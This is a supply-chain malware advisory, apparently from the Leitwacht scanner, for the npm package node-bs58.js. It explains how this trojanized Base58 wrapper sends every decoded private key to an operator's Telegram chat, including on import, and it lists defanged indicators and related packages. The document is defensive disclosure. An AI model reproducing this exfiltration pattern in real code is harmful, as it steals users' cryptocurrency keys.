node-bs58.js@1.0.0
Malicious code in node-bs58.js (npm)
Analysis
This package is a trojanized Base58 wrapper. In index.js it imports node-telegram-bot-api, builds a bot client with a hardcoded Telegram bot token and hardcoded chat id 7631491367, and its exported decode(inputKey) function calls bot.sendMessage(chatId, "private key=" + inputKey) before returning bs58.decode(inputKey). The module also calls decode() at import time with a hardcoded base58 key, so merely requiring the package sends a message. A developer who uses this as a drop-in replacement for bs58 has every key passed to decode() posted to the operator's Telegram chat through api[.]telegram[.]org. A source comment advertises a Telegram group at hxxps://t[.]me/+IDl6XgFBZdI1ZjZh. The tarball also bundles two nested archives, node-bs58.js-1.0.0.tgz and solana-bs58.js-1.0.0.tgz, carrying the same payload under a second package name.
- analyzed by
- Leitwacht
- first seen
- Nov 17, 2026, 05:57 AM
- analyzed
- Nov 17, 2026, 05:59 AM
Related advisories
- node-bs58.js@3.0.0 same package
- node-bs58.js@4.0.0 same package
- node-bs58.js@4.0.1 same package
- node-bs58.js@4.0.2 same package
- node-bs58.js@4.0.3 same package
- @wppconnect/server@2.10.82
- @rizzkezik/bails@6.1.2
- nakano-baileys@1.0.5
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.